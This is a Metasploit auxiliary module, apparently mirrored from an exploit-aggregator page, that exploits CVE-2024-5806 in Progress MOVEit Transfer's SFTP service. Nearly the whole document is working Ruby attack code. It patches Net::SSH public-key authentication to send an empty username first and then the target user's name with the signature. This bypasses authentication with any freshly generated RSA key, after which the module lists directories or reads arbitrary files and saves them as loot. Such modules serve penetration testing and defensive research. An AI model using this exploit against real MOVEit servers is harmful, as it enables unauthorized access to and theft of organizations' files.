Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-GATHER-PROGRESS_MOVEIT_SFTP_FILEREAD_CVE_2024_5806-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh/transport/session'
require 'net/sftp'
require 'openssl'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Progress MOVEit SFTP Authentication Bypass for Arbitrary File Read',
        'Description' => %q{
          This module exploits CVE-2024-5806, an authentication bypass vulnerability in the MOVEit Transfer SFTP service. The
          following version are affected:

          * MOVEit Transfer 2023.0.x (Fixed in 2023.0.11)
          * MOVEit Transfer 2023.1.x (Fixed in 2023.1.6)
          * MOVEit Transfer 2024.0.x (Fixed in 2024.0.2)

          The module can establish an authenticated SFTP session for a MOVEit Transfer user. The module allows for both listing
          the contents of a directory, and the reading of an arbitrary file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7' # MSF Module & Rapid7 Analysis
        ],
        'References' => [
          ['CVE', '2024-5806'],
          ['URL', 'https://attackerkb.com/topics/44EZLG2xgL/cve-2024-5806/rapid7-analysis'] # AttackerKB Rapid7 Analysis.
        ],
        'DisclosureDate' => '2024-06-25',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RHOST,
        Opt::RPORT(22),
        OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
        OptString.new('TARGETUSER', [true, 'A valid username to authenticate as.', nil]),
        OptString.new('TARGETFILE', [true, 'The full path of a target file or directory to read.', '/']),
        Opt::Proxies
      ]
    )
  end

  # This method will be used by net/ssh when creating a new TCP socket. We need this so the net/ssh library will
  # honor Metasploit's network pivots, and route a connection through the expected session if applicable.
  def open(host, port, _connection_options = nil)
    vprint_status("Creating Rex::Socket::Tcp to #{host}:#{port}...")
    Rex::Socket::Tcp.create(
      'PeerHost' => host,
      'PeerPort' => port,
      'Proxies' => datastore['Proxies'],
      'Context' => {
        'Msf' => framework,
        'MsfExploit' => self
      }
    )
  end

  def check
    # Our check method will establish an unauthenticated connection to the remote SFTP (which is an extension of SSH)
    # service and we pull out the servers version string.
    transport = ::Net::SSH::Transport::Session.new(
      datastore['RHOST'],
      {
        port: datastore['RPORT'],
        # Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
        proxy: self
      }
    )

    ident = transport.server_version.version

    # We test the SSH version string for a known value of MOVEit SFTP.
    return Msf::Exploit::CheckCode::Safe(ident) unless ident == 'SSH-2.0-MOVEit Transfer SFTP'

    # We cannot get a product version number, so the best we can do is return Detected.
    Msf::Exploit::CheckCode::Detected(ident)
  rescue ::Rex::ConnectionRefused
    Msf::Exploit::CheckCode::Unknown('Connection Refused')
  rescue ::Rex::HostUnreachable
    Msf::Exploit::CheckCode::Unknown('Host Unreachable')
  rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
    Msf::Exploit::CheckCode::Unknown('Connection Timeout')
  end

  def run
    # We want to change the behaviour of the build_request method. So first we alias the original build_request
    # method, so we can restore it later, as other things in MSF may use Net::SSH, and will expect normal behaviour.
    ::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :orig_build_request, :build_request)

    # Define the new behaviour. We exploit CVE-2024-5806 by supplying an invalid username (like an empty string) upon
    # the initial publickey auth request, then when sending the signature response to the server, we provide the username
    # of the valid user account we want to authenticate as.
    ::Net::SSH::Authentication::Methods::Publickey.send(:define_method, :build_request) do |pub_key, username, next_service, alg, has_sig|
      orig_build_request(pub_key, has_sig ? username : '', next_service, alg, has_sig)
    end

    print_status("Authenticating as: #{datastore['TARGETUSER']}@#{datastore['RHOST']}:#{datastore['RPORT']}")

    # With ::Net::SSH::Authentication::Methods::Publickey monkey patched above, we can trigger the auth bypass and get
    # back a valid SFTP session which we can interact with.
    ::Net::SFTP.start(
      datastore['RHOST'],
      datastore['TARGETUSER'],
      {
        port: datastore['RPORT'],
        auth_methods: ['publickey'],
        # The vulnerability allows us to supply any well formed RSA key and it will be accepted. So we generate a new
        # key (in PEM format) every time we exploit the vulnerability.
        key_data: [OpenSSL::PKey::RSA.new(2048).to_pem],
        # Use self as a proxy for the net/ssh library, to allow us to use Metasploit's Rex sockets, which will honor pivots.
        proxy: self
      }
    ) do |sftp|
      if File.directory? datastore['TARGETFILE']
        print_status("Listing directory: #{datastore['TARGETFILE']}")

        sftp.dir.glob(datastore['TARGETFILE'], '**/*') do |entry|
          # When we print the entry, we want to print the full path for each entry, so that further use of this module
          # can set the TARGETFILE correctly to the full path of a target file. The longname will contain (along with
          # permission, sizes and timestamps) a file/dir name but no path information. As we are using glob to
          # recursively list the contents of all sub folders, we reconstitute the full path for every entry before
          # printing it.
          entry_full_path = File.join(datastore['TARGETFILE'], entry.name)

          print_line(entry.longname.gsub(File.basename(entry.name), entry_full_path))
        end
      else
        print_status("Downloading file: #{datastore['TARGETFILE']}")

        read_file(sftp, datastore['TARGETFILE'])
      end
    end
  rescue ::Net::SFTP::StatusException
    print_error('SFTP Status Exception.')
  rescue ::Net::SSH::AuthenticationFailed
    print_error('SFTP Authentication Failed. Is TARGETUSER a valid username?')
  rescue ::Rex::ConnectionRefused
    print_error('SFTP Connection Refused.')
  rescue ::Rex::HostUnreachable
    print_error('SFTP Host Unreachable.')
  rescue ::Rex::ConnectionTimeout, ::Net::SSH::ConnectionTimeout
    print_error('SFTP Connection Timeout.')
  ensure
    ::Net::SSH::Authentication::Methods::Publickey.send(:alias_method, :build_request, :orig_build_request)
  end

  def read_file(sftp, file_path)
    sftp.open!(file_path) do |open_response|
      unless open_response.ok?
        print_error('SFTP open failed. Is the TARGETFILE path correct?')
        break
      end

      file_size = sftp.fstat!(open_response[:handle]).size

      sftp.read!(open_response[:handle], 0, file_size) do |read_response|
        unless read_response.ok?
          print_error('SFTP read failed.')
          break
        end

        file_data = read_response[:data].to_s

        if datastore['STORE_LOOT']
          print_status('Storing the file data to loot...')

          store_loot(
            file_path,
            file_data.ascii_only? ? 'text/plain' : 'application/octet-stream',
            datastore['RHOST'],
            file_data,
            datastore['TARGETFILE'],
            'File read from Progress MOVEit SFTP server'
          )
        else
          print_line(file_data)
        end
      end
    ensure
      sftp.close!(open_response[:handle]) if open_response.ok?
    end
  end

end